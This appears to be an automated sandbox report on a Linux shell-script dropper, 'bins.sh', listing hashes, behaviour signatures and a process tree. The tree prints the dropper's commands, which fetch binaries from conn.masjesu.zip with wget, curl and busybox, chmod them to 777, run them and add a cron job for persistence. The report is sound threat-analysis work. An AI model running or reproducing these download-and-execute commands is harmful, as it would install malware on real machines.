Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 08:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    c8f9e1152e00863bacf256ed5f4c77e9

  • SHA1

    e6e60f4df4205b91ab720b3f39512fb33d7f440e

  • SHA256

    33d1edad18461bc7548b110297a3b2ad8a826ed004d026c71f7d0a23576b30a7

  • SHA512

    1d57dcde0165fc18345ef0106bfe8871e1f1beec69fca83e9dcb034c142e0dc10fbbc6fb3b41b0b6b077c4f727ee9d6909cf29c4767a5bb29d641ca32df36bad

  • SSDEEP

    192:WWzeHHKB1Dqvs//MBj8N5VorTKO//MB15VorT+G+HHKB1Jvy:xzeHHKB1Da8N5VorTKh5VorTf+HHKB1w

Malware Config

Signatures

  • Contacts a large (2043) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          ./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:737
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:739
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:740
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:742
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:743
              • /bin/rm
                rm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b
                2⤵
                  PID:745
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                  • System Network Configuration Discovery
                  PID:828
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                  • System Network Configuration Discovery
                  PID:837
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:838
                • /bin/chmod
                  chmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                  • File and Directory Permissions Modification
                  PID:839
                • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  ./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                  • Executes dropped EXE
                  PID:840
                • /bin/rm
                  rm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB
                  2⤵
                    PID:842
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI
                    2⤵
                    • System Network Configuration Discovery
                    PID:847

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b

                  Filesize

                  151KB

                  MD5

                  3c90d5820bddcf7c5d1bd21dfa49d958

                  SHA1

                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                  SHA256

                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                  SHA512

                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                • /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB

                  Filesize

                  111KB

                  MD5

                  ca897a38f23ec23521ce0b1b83f8422d

                  SHA1

                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                  SHA256

                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                  SHA512

                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                • /var/spool/cron/crontabs/tmp.bd8h5h

                  Filesize

                  210B

                  MD5

                  1e36f61ae99a8b20ae1079e8a4f8fb3e

                  SHA1

                  be995ffa8d43d534735bdf167f30fc534f0f0437

                  SHA256

                  5df635136d58c4b8d71756220a333e139be6bd33d0c25d29d1c5009f799c0f3b

                  SHA512

                  6c7c994c654ffd486fd7acae04ae6f3c7c3ba1f482b1e7c33ebc12a517b20223a94dfa67f0c01e66b6ff52e21490ef36210e41203155ec8e6cb36f2a0cc7ed90